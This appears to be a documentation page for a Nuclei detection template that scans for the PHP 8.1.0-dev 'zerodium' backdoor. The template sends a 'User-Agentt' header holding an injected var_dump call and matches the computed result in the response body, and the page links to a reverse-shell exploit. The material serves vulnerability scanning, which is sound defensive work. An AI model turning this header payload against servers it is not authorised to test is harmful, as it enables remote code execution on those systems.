PHP 8.1.0-dev - Backdoor Remote Code Execution
ID: php-zerodium-backdoor-rce
Severity: critical
Author: dhiyaneshDk
Tags: php,backdoor,rce,zerodium
Description
Section titled “Description”PHP 8.1.0-dev contains a backdoor dubbed ‘zerodiumvar_dump’ which can allow the execution of arbitrary PHP code.
YAML Source
Section titled “YAML Source”id: php-zerodium-backdoor-rce
info: name: PHP 8.1.0-dev - Backdoor Remote Code Execution author: dhiyaneshDk severity: critical description: | PHP 8.1.0-dev contains a backdoor dubbed 'zerodiumvar_dump' which can allow the execution of arbitrary PHP code. reference: - https://news-web.php.net/php.internals/113838 - https://flast101.github.io/php-8.1.0-dev-backdoor-rce/ - https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/revshell_php_8.1.0-dev.py classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10 cwe-id: CWE-77 metadata: max-request: 1 tags: php,backdoor,rce,zerodium
http: - method: GET path: - "{{BaseURL}}"
headers: User-Agentt: zerodiumvar_dump(233333*333332);
matchers-condition: and matchers: - type: word part: body words: - "int(77777355556)"# digest: 4b0a00483046022100ca8784274a12ca70d56c3352a1b4b4ba79bca3e5a499618fab8eb468ec057f22022100802d506b094fb87890aa511739d18e0cbf1bdea1d713502e896b20097ab66cca:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/backdoor/php-zerodium-backdoor-rce.yaml"